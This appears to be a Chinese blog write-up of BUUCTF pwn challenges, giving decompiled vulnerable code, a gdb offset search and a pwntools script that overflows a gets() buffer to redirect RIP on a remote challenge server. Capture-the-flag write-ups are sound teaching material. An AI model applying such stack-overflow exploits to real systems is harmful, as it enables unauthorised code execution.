BUUCTF PWN WriteUp

test_your_nc

$ nc node3.buuoj.cn 29017
$ cat /flag

rip

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+1h] [rbp-Fh]

  puts("please input");
  gets(&s, argv);
  puts(&s);
  puts("ok,bye!!!");
  return 0;
}

gets从标准输入设备读字符串函数,其可以无限读取,不会判断上限,以回车结束读取。所以存在栈溢出漏洞。
可以看到有个func


解题基本上就是栈溢出让RIP跳转到func函数。

$ checksec pwn1


可以看到没开任何保护。
gdb调试,计算出RIP的偏移:

> pattern create 200
> r
> pattern offset A(AADAA;
23 

IDA中可以看到函数开始的地方是0x401186


编写exp

# -*- coding:utf-8 -*-

from pwn import *

context.log_level = 'debug'

io = remote('node3.buuoj.cn',29476)
#io = process("./pwn1")
system=0x401186
payload = b'a' * 23 + p64(system)
io.sendline(payload)
io.interactive()

warmup_csaw_2016

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char s; // [rsp+0h] [rbp-80h]
  char v5; // [rsp+40h] [rbp-40h]

  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(&s, "%p\n", sub_40060D);
  write(1, &s, 9uLL);
  write(1, ">", 1uLL);
  return gets(&v5);
}
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 新手练习 CGfsb 简单的格式化字符串 get_shell nc 上去直接 cat flag hello_pwn...
    Nevv阅读 8,441评论 0 6
  • 0. 引言 如果你学的第一门程序语言是C语言,那么下面这段程序很可能是你写出来的第一个有完整的 “输入---处理-...
    pandolia阅读 14,808评论 13 27
  • 歇了很长一段时间,终于开始了我的攻防世界pwn之路。立一个flag:每日一题,只能多不能少。 0x00 dice_...
    Adam_0阅读 11,952评论 2 7
  • 今天这一章太少了,舒服。 第四十六条主要是说工资标准是如何确定的,国家以按劳分配为原则,相同工作相同工资,且随着经...
    缓冲剂阅读 1,404评论 0 0
  • 2018年马上要结束了! 2016年那一年我给自己定的目标是:研究生顺利毕业;进去体制内工作 2017年我给自己定...
    槿之黛阅读 1,170评论 0 0